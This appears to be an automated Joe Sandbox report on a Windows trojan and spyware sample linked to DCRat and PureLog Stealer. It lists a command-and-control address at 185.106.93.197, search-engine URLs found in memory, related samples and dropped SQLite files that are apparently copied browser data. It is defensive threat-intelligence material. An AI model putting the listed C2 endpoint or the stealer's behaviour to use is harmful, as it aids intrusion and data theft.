                              https://duckduckgo.com/ac/?q=svchost.exe, 0000000E.00000002.3783847798.0000000014733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001515F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014030000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014AEB000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014197000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001293F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015715000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013EC9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014B82000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015EB3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000012F9B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015B7D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013B85000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015010000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001306B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014664000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000157AE000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013820000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000158FD000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013269000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013D3E000.00000004.00000800.00020000.00000000.sdmpfalse
                              • 0%, Virustotal, Browse
                              • Avira URL Cloud: safe
                              		unknown
                              https://www.google.com/images/branding/product/ico/googleg_lodp.icosvchost.exe, 0000000E.00000002.3783847798.0000000014733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001515F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014030000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014AEB000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014197000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001293F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015715000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013EC9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014B82000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015EB3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000012F9B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015B7D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013B85000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015010000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001306B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014664000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000157AE000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013820000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000158FD000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013269000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013D3E000.00000004.00000800.00020000.00000000.sdmpfalse
                              • 0%, Virustotal, Browse
                              • Avira URL Cloud: safe
                              		unknown
                              http://185.106.93.197/phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/Prosvchost.exe, 0000000E.00000002.3698250628.00000000029D9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.0000000007095000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.0000000006FCA000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.000000000707F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.0000000004FAF000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.0000000006DC3000.00000004.00000800.00020000.00000000.sdmpfalse
                              • 3%, Virustotal, Browse
                              • Avira URL Cloud: safe
                              		unknown
                              https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchsvchost.exe, 0000000E.00000002.3783847798.0000000014733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001515F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014030000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014AEB000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014197000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001293F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015715000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013EC9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014B82000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015EB3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000012F9B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015B7D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013B85000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015010000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015997000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001306B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014664000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000157AE000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013820000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000158FD000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013269000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=svchost.exe, 0000000E.00000002.3783847798.0000000014733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001515F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014030000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014AEB000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014197000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001293F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015715000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013EC9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014B82000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015EB3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000012F9B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015B7D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013B85000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015010000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001306B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014664000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000157AE000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013820000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000158FD000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013269000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013D3E000.00000004.00000800.00020000.00000000.sdmpfalse
                              • 0%, Virustotal, Browse
                              • Avira URL Cloud: safe
                              		unknown
                              https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=svchost.exe, 0000000E.00000002.3783847798.0000000014733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001515F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014030000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014AEB000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014197000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001293F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015715000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013EC9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014B82000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015EB3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000012F9B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015B7D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013B85000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015010000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015997000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001306B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014664000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000157AE000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013820000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000158FD000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013269000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://185.106.93.197svchost.exe, 0000000E.00000002.3698250628.0000000007095000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.0000000006FCA000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.000000000707F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.0000000004FAF000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.0000000006DC3000.00000004.00000800.00020000.00000000.sdmpfalse
                              • 4%, Virustotal, Browse
                              • Avira URL Cloud: safe
                              		unknown
                              https://www.ecosia.org/newtab/svchost.exe, 0000000E.00000002.3783847798.0000000014733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001515F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014030000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014AEB000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014197000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001293F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015715000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013EC9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014B82000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015EB3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000012F9B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015B7D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013B85000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015010000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015997000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001306B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014664000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000157AE000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013820000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000158FD000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013269000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namesvchost.exe, 0000000E.00000002.3698250628.00000000029D9000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=svchost.exe, 0000000E.00000002.3783847798.0000000014733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001515F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014030000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014AEB000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014197000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001293F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015715000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013EC9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014B82000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015EB3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000012F9B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015B7D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013B85000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015010000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000015997000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.000000001306B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000014664000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000157AE000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013820000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.00000000158FD000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3783847798.0000000013269000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://185.106Hsvchost.exe, 0000000E.00000002.3698250628.0000000007095000.00000004.00000800.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown

                              World Map of Contacted IPs

                              • No. of IPs < 25%
                              • 25% < No. of IPs < 50%
                              • 50% < No. of IPs < 75%
                              • 75% < No. of IPs

                              Public IPs

                              IPDomainCountryFlagASNASN NameMalicious
                              185.106.93.197
                              		unknownRussian Federation
                              		50113SUPERSERVERSDATACENTERRUtrue

                              General Information

                              Joe Sandbox version:40.0.0 Tourmaline
                              Analysis ID:1500382
                              Start date and time:2024-08-28 11:16:12 +02:00
                              Joe Sandbox product:CloudBasic
                              Overall analysis duration:0h 9m 30s
                              Hypervisor based Inspection enabled:false
                              Report type:full
                              Cookbook file name:default.jbs
                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                              Number of analysed new started processes analysed:26
                              Number of new started drivers analysed:0
                              Number of existing processes analysed:0
                              Number of existing drivers analysed:0
                              Number of injected processes analysed:0
                              Technologies:
                              • HCA enabled
                              • EGA enabled
                              • AMSI enabled
                              Analysis Mode:default
                              Analysis stop reason:Timeout
                              Sample name:ugRGgCJhQl.exe
                              renamed because original name is a hash value
                              Original Sample Name:92949DD923E8E88C697092B5311C7D95.exe
                              Detection:MAL
                              Classification:mal100.troj.spyw.evad.winEXE@9/466@0/1
                              EGA Information:
                              • Successful, ratio: 100%
                              HCA Information:Failed
                              Cookbook Comments:
                              • Found application associated with file extension: .exe
                              • Override analysis time to 240000 for current running targets taking high CPU consumption

                              Warnings

                              • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe, UsoClient.exe
                              • Excluded domains from analysis (whitelisted): fs.microsoft.com, login.live.com, slscr.update.microsoft.com, settings-win.data.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
                              • HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
                              • Not all processes where analyzed, report is missing behavior information
                              • Report size exceeded maximum capacity and may have missing behavior information.
                              • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                              • Report size getting too big, too many NtCreateFile calls found.
                              • Report size getting too big, too many NtDeviceIoControlFile calls found.
                              • Report size getting too big, too many NtOpenFile calls found.
                              • Report size getting too big, too many NtOpenKeyEx calls found.
                              • Report size getting too big, too many NtProtectVirtualMemory calls found.
                              • Report size getting too big, too many NtQueryAttributesFile calls found.
                              • Report size getting too big, too many NtQueryValueKey calls found.
                              • Report size getting too big, too many NtQueryVolumeInformationFile calls found.
                              • Report size getting too big, too many NtSetInformationFile calls found.

                              Simulations

                              Behavior and APIs

                              TimeTypeDescription
                              05:17:16API Interceptor12328587x Sleep call for process: svchost.exe modified

                              Joe Sandbox View / Context

                              IPs

                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                              185.106.93.197eCGKhYZtgx.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                              • 185.106.93.197/phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php

                              Domains

                              ⊘No context

                              ASNs

                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                              SUPERSERVERSDATACENTERRUeCGKhYZtgx.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                              • 185.106.93.197
                              .........exeGet hashmaliciousUnknownBrowse
                              • 185.217.199.97
                              cG56dFZSnL.exeGet hashmaliciousStealc, VidarBrowse
                              • 185.217.197.202
                              WebDriverDll.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                              • 185.188.183.218
                              fkABXcncEA.exeGet hashmaliciousRedLine, XmrigBrowse
                              • 185.17.0.139
                              Lisect_AVT_24003_G1B_122.exeGet hashmaliciousUnknownBrowse
                              • 185.232.169.108
                              8E16230A9D5336FB1D6C6278B45E3B653AA2F6CD060742F28CD68D6A5117A396.exeGet hashmaliciousBdaejec, DCRat, RedLineBrowse
                              • 185.189.14.66
                              https://tg-pixel.gitbook.io/2Get hashmaliciousUnknownBrowse
                              • 84.252.73.22
                              SZwdzMMRBU.elfGet hashmaliciousUnknownBrowse
                              • 194.39.64.3
                              Df5pMQckwD.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                              • 185.180.231.214

                              JA3 Fingerprints

                              ⊘No context

                              Dropped Files

                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                              C:\Users\user\Desktop\LMrHnriI.logeCGKhYZtgx.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                czcgyt.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                  trkfmve.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                    iolZQ9869U.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                      2f3cc3bc5e36d27c9b2020e20fc2a031efba9ec81995a.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                        jZrY9owO7A.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                          Componentsession.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                            -#U00bc).exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                              Loader.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                fluent.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                  C:\Users\user\Desktop\ApTjSBhc.logeCGKhYZtgx.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                    WebDriverDll.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                      Loader.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                        K61NUunFJv.exeGet hashmaliciousDCRatBrowse
                                                          TYg9Jx5SUa.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                            jNdchqKV8i.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                              SjA6nVF1ey.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                vD4M7DL9MY.exeGet hashmaliciousDCRatBrowse
                                                                  OIqT7902yf.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                    h6t9F6kG2d.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse

                                                                      Created / dropped Files

                                                                      C:\Users\user\AppData\Local\Temp\0I9clPAEvG

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Reputation:high, very likely benign file
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\0QApUIvQAk

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Reputation:high, very likely benign file
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\0Siq05bJaM

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Reputation:moderate, very likely benign file
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\0XsU0yJI0t

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Reputation:moderate, very likely benign file
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\0XvR9U6pTM

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
